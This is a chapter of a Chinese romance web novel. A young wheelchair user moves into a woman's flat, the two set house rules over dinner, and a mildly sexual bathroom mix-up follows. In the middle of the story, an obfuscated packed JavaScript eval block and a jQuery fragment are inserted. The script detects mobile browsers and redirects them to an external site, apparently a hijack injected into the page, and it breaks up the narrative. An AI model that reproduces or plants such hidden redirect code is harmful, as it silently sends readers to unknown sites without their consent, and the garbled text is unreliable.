趁着周末,冯星晚搬入了竹濛的公寓。
出于好心,竹濛问他是否需要帮忙,他身体不便,弯腰都费劲,估计收拾东西得累个够呛。
冯星晚却回她:【不用啦,我的舍友帮我收拾好了。我们还一起出去吃了饭,他们恭喜我找到了新工作。等我拿到第一笔工资请他们吃好吃的。[可爱emoji]】
竹濛看着手机眼梢染笑。
看来,他人缘还挺不错。
冯星晚的行李只有一个小号行李箱和一把洗澡椅,衣服屈指可数的几件,一双皮鞋一双运动鞋,竹濛都不用专门给他匀出收纳空间。
客厅的沙发便是他的床了。
竹濛的公寓只有一间卧室一张床,但胜在沙发宽敞,L型,长度两米,宽度也比冯星晚那上下铺的单人床宽,他可以借助沙发靠背起身,也就不需要吊环。
冯星晚入住那天,两人没有开火,竹濛点了外卖。
等外卖闲着也是闲着,冯星晚两手的掌根夹住挂在脖前的手机拿到餐桌上。
佝偻腰背,他左手扶着桌子,把手机绳卡在右手的虎口,抬起右臂,靠拇指和食指之间僵硬的肌张力夹住绳子,从脖子上将其摘了下来。
他解锁手机,纤长羽睫扇起一缕细风,熠亮地望竹濛:“你喜欢吃什么?我记一下。”
“我想想啊……”竹濛单腿踩在餐椅上,胳膊肘支在餐桌上,脸贴着虚握的拳头,眼珠在眼眶游荡,“你这么一问,啧,我还真一时想不起来我喜欢吃什么,我没有特别喜欢的……但我有不爱吃的。”
餐桌彼端,冯星晚內蜷的右手悬在亮屏的手机上方:“那你不爱吃什么?”
他坐姿端正,左手撑着桌子保持身体稳定,洗耳恭听,随时准备把竹濛的“黑名单”食物记入备忘录。
“我不喜欢吃胡萝卜、青椒还有西蓝花,对,我就是这么小孩子口味。”竹濛自黑,瞥一眼正在专注打字的冯星晚,他的手抬起落下时,手指软绵绵地抖动,她继续说,“我不喜欢吃蒸得太软的米饭……”
他出声打断,唤她姓名的声音分外轻柔:“竹濛。”
竹濛微愣一下才应:“嗯?”
他温煦地抿唇笑:“那,那天,你在我宿舍吃的那碗米饭,软硬你觉得可以吗?”
“有点软,我喜欢更粒粒分明一些的,就是那种,每一粒米,都能用筷子夹起来的程度。”
冯星晚分毫不差地记下,他依靠小拇指指节的外侧来打字,接触面积大,难免误触相邻的按键,他快速删删打打,生怕竹濛等不耐烦了。
“还有呢?”他抬头轻声问。
“还有啊,我最最最讨厌吃海带!”竹濛另一只脚也踩上椅子,兴致盎然地分享道,“我小时候,我爷爷家里养了一只乌龟,我就扒在鱼缸前观察它。那只乌龟一般只吃泥鳅,但有一天,它突然啃起了浮在水面上的海草,看起来啃得特别香。我很好奇啊,就捞起一根尝尝咸淡……”
时隔多年,那股整个嗓子眼像被臭鱼烂虾舔了个遍的腥味,不堪回首。
竹濛满脸嫌弃,在鼻前扇扇风:“我觉得海带,不仅长得像那玩意儿,味道也像。从此之后,我就再也吃不下海带了,一口都不愿意吃。”
“噗嗤——”冯星晚的小虎牙亮相。
“我的悲惨童年往事哎,你笑什么?”竹濛抱臂,带着点小脾气似的重重落在双膝上。
他只是……觉得聊这事时候的她特别可爱。
冯星晚急忙乖乖地合拢嘴巴,抿了抿薄唇:“可能……那鱼缸常换水,就没那么腥了吧。”
“可能吧。”竹濛无所谓道,“反正我现在就是不爱吃海带。”
“不爱吃就不吃。海带里的营养成分,通过吃其他食物也一样可以摄入。”
竹濛长期不吃海带可能会缺碘,冯星晚着重备注:【查一查海带的替代食物。】
他找她乐意吃的给她补一补。
“还有其他的不爱吃的吗?”冯星晚歪歪头,“竹濛,你有会过敏的食物吗?”
“没了,我不爱吃的就那几样。我体质也挺好,没有吃了会过敏的东西。”竹濛托腮思量,而后,十指交叉懒洋洋向前伸,舒展肩颈,“那以后就麻烦你做饭了。你只做晚饭就行,早饭和午饭都不用,早饭我吃面包,午餐在公司楼下的饭馆吃,有几家馆子的味道还不错,到时候我推给你。”
冯星晚点头,止不住笑意:“嗯!”
他在心里默默期待,或许,他午餐也有机会和她一起吃。
*
不久,外卖送到。
“我去拿。”冯星晚拉起轮椅手刹。
“你坐着,我去。”
随着她一声令下,他条件反射似的把手刹按了回去,睁圆眼睛目随她的背影。
竹濛趿拉着拖鞋前去拿,拎着两个袋子边说边折回餐桌:“冯星晚,你把每顿饭花了多少钱都记个账,我们平摊,我一周转你一次。”
他摆手如打蚊子,大拇指不受控制地甩来甩去,急声道:“你不收我房租,我也不收你饭钱!竹濛,你也不用管买菜的事,我全全负责。”
菜挺重的,她拎着勒手,他把菜放腿上,不妨碍他滑轮椅。
竹濛解绳扣的手顿了一下:“也……行。”
冯星晚性子温顺,比小狗还听话,但通过短暂的相处不难看出,他在某些方面,有他的执拗所在,ONS那次,他不就死犟着不肯收她的钱?
尊重。
再说,他也不是个能心安理得受惠的人,她提供免费住宿,他本能地想回报于她。
理解,尊重。
竹濛没再客套,一一打开餐盒,摆在餐桌中央:“我就不跟你客气了,你也不要束手束脚的。我屋里的东西你都能用,还有零食啊,水啊的,你随意。”
冯星晚没闲着,他手掌压着一次性筷子拉到自己跟前,让筷子伸出桌沿小半截。
他翻动手腕,食指和无名指由于转腕而分开,他把筷子插进这缝隙,再一翻手腕,顺利地将筷子夹住,另一只手协助往下扒拉塑料套。
“给。”他伸手,把没掰开的筷子夹在两指间递给竹濛,清潭一般的眸子流转暖融融的光。
他得把筷子放桌面上,或者用嘴咬才打得开,不雅观,也不那么卫生,他就不给她掰开筷子了。
竹濛十分自然地接过来:“谢咯。”
饭菜的热气袅袅上溢,他望向她的眼神也暖得像在阳光暴晒的沙滩上打了个滚,腼腆的浅笑不曾敛迹,他低头,开心地佩戴起辅助手套。
*
两人一边吃饭,一边约法三章。
显而易见,冯星晚这人老实巴交,借他熊心豹子胆料他都不敢做出什么出格的举动。
且他身体残疾,小细胳膊死命滑轮椅还没她走路快,她一脚就能把他连人带轮椅踹翻在地,因此“你不许半夜进我的房间”类似的警告,竹濛都懒得说。
条条框框太多,竹濛自己住着也不舒服,就简单和冯星晚讲了讲自己的生活习惯。
“……我活得比较糙,没强迫症,没洁癖。”竹濛大口朵颐,“你上班后,就只能晚上刷题了吧?”
冯星晚吃相斯文:“嗯。”
“OK,正好。”竹濛道,“反正我平时没约的话,晚上也是吃完饭就上床刷手机了,你在客厅学你的,我也打扰不到你。唔……还有,我们定一下使用厕所的时间呗,这样,我们彼此都方便。我晚上九点洗澡,早上呢七点半到八之间用厕所,其余时间你都可以用。”
冯星晚点头,许是想起了难以启齿的事,他戴着辅助手套舀米饭的手垂下:“竹濛……”
竹濛漫不经心地哼了一声:“嗯哼。”
“那个……”他耳尖涂上两笔浅红色的脂水,盯着桌子,“能不能麻烦你晚上九点到十点,还有,早上六点半到七点半……不要出你的卧室呀?”
“可以啊。”竹濛忙于吃饭,“但为啥?”
“因为……”羞涩包裹他的诚实,他垂眸声低,“因为,我没办法坐着穿裤子。”
他会避开竹濛的生物钟使用洗手间,不给她造成困扰。
但无奈于这瘫废躯体,他穿脱裤子必须躺着才能完成,这也就意味着,他只能在沙发上(月兑光)了划着轮椅去洗手间,再(赤)条条地划回来。
他下(面)当然会裹上毛巾,但总归不得体。
“……”正在吞咽的竹濛噎了一下,眼前莫名闪现冯星晚白花花的肉亻本,她不由地口齿打磕巴,“行……行啊,那就这么说定了哦。”
他坦诚而纯真,任何邪念显露在他面前都让人无地自容。
竹濛并非那种娇滴滴的小姑娘,但冯星晚一害羞,很邪乎地,她会跟着他一起臊起来。
“竹濛,你放心,我会在沙发上铺好护理垫,我一定不会弄脏你的沙发的。”
“是房东的沙发,弄脏,你赔就好了。”竹濛打趣地纠正道,看他够得有点费劲,她把餐盒往他跟前推了推,“哎,对了,我还没问过你,你多大了?”
“二十二。”
二十二。
花季年华,告别大学校园,带着一腔热忱和憧憬去学着成为真正的大人,对未来无限期待;抑或继续深造,浸润在知识高塔,渴望未来能看得更远。
竹濛,和竹濛身边的人,二十二岁都在路上。
而他,苦难将他滞留在十八岁,他尚未启航。
更别提,这半大不大的年纪,他几乎一无所有,竹濛选修课挂一门都感觉天塌了,她这辈子完蛋了,她无法想象他是如何一个人扛下所有。
还能不沉湎于悲痛,沉静又热烈地向阳而生。
*
左右不是滋味,竹濛吞咽的频率低缓了一些,喉头的酸涩堵得她噎得慌。
端起杯子喝一口水,她抿上下唇抿去唇上的水渍,拉扯唇角尽量显得轻松一笑:“我比你大三岁。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453120|169506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“比我大比我小都没关系……”
“你说什么?”
竹濛没听清冯星晚小声的自言自语。
他身子一凛,唇周的肌肉紧紧绷着摇了摇头:“没什么,没什么重要的……”
竹濛没追问,她还没从对冯星晚的疼惜中缓过劲来,筷子捣着米饭,她状似不经意地再次鼓励道:“冯星晚,加油,祝你考上好的大学,祝你成功当上公家人。”
“我会的。”他明眸如星,“学历、工作、还不错的未来,我都会有的,不过是比别人晚一点。”
“来,喝一杯吧。”竹濛取来啤酒和杯子,利落开瓶,把酒杯满上而后推给冯星晚,“预祝你金榜题名,仕途无量,还有呢,庆祝你顺利入职。”
酒沫咕嘟咕嘟消弭,烘烤后的麦芽香杂糅进饭菜的香味之中,生机勃勃的烟火气。
竹濛举杯前邀:“干一个。”
说来搞笑,她和他在酒吧相识,她包卡座,他陪酒,但她一杯酒都没和他喝过。
他两只手夹住酒杯捧起,哆哆嗦嗦的但也没将酒洒出来,努力伸直胳膊与她碰杯:“竹濛,少喝点,别喝醉了,明天周一,还要上班呢。”
“知道,知道,啰嗦。”
一声清脆的玻璃轻撞声响彻在两人之间。
竹濛仰头一饮而尽,搁下杯子,她习惯性抬腕看表,又看手机时间进行核对,再一气呵成甩手腕:“时间不晚,就算喝多了也够醒酒的。再说,姐姐我酒量还行,你又不是没见过。”
冯星晚埋头喝酒:“……”
……的确。
……她那晚风姿豪迈。
他目光悄悄然移到她的手腕,她上次用手表看时间之后也做过相同动作,就像家电故障了,拍一拍、锤一锤、再摇一摇。
“你的手表坏了吗?”他问。
“坏到算不上坏了。”竹濛把两人的酒杯倒满,随口道,“就是不准了,还能用,加上五分钟就是北京时间。”
他没作声,点了点头。
*
孤男寡女共处一室,如若醉意阑珊,会发生什么,竹濛已经稀里糊涂地体验过一回,于是她汲取教训,只浅尝辄止,那晚只喝了两瓶啤酒。
没醉,也没睡过头。
啤酒利尿。
闹铃响之前,一阵憋胀将她从昏昏睡意中闹醒。
竹濛是五个闹钟才能堪堪叫醒的瞌睡虫,她瞎摸着踩上拖鞋,如幽魂飘去了洗手间。
眼皮子像被502胶水粘住,凭借肌肉记忆寻摸到洗手间,摁下门把手,她腿长,两步就能跨到马桶。
一步,双手抓住裤腰松紧。
两步,扒裤子的同时转身……
“竹濛……”
略带晨起后的微哑清音从背后低低飘来,声线抖得像五线谱,继而化作指挥棒狠狠地抽了她的屁(股)一棒子……
竹濛:“……”
竹濛:“……!!!”
乍然睁眼,她胯部猛地往前一顶,平坦小腹都顶凸了出去,投胎都没她拉裤腰急!
睡意全无,取而代之的是羞臊,要不是洗手间的瓷砖太硬了,她当场刨出个洞来钻进去!
手别在裤腰里放也不是,拿出来也不是,她一声不吭原地旋转九十度,两步跨出洗手间的门。
机器人都比她的步态生动。
“咔哒——”
门重新关上。
“……”竹濛呆怔地杵在门口,眼睛一眨不眨,后背贴墙,墙体的冰冷质感渗透睡衣抵消她肌肤的温热。
唯独!
刚才撅着的半个(月定)烧得滚烫。
竹濛皱眉哭丧,无声哀嚎,两手捂住脸,小巧的脸几乎被整个覆盖,指缝间,露出零零几片酡红色的皮肤。
*
而洗手间内,冯星晚听到锁门声后才敢撬开一边的眼皮。
他浑身燥热,白森森的两条瘫腿一跳一跳,蹬掉了拖鞋,內蜷的脚趾蹭着地砖。
他顾不上去按压,紧紧抓着洗澡椅两侧的扶手维持平衡。
洗澡椅两用,一来供他坐着洗澡,二来悬空支在马桶上方便腰腹没力的他上厕所。
他大口大口做深呼吸,努力清心禁欲,仍抵不过方才那一幕带来的巨大冲击,体内好似有炽沸的岩浆从裂口滚滚流出,一座火山即将喷发!
冯星晚第一次看到。
ONS那晚,竹濛把他扌八(光)光后就一直正面(驾)在他身上。
一阵似憋痛又似淤堵不出的感觉袭来。
他闷哼一声低头望去——
通红的脸颊顿时烧得更加火热,他一侧的胳膊架在洗澡椅的扶手上,空出一只手去摁压。
下去!
下去!
他得快点整理好,把洗手间留给竹濛用,要不然他俩今天都得迟到!
……下不去了。
随时间流逝,冯星晚羞臊又绝望。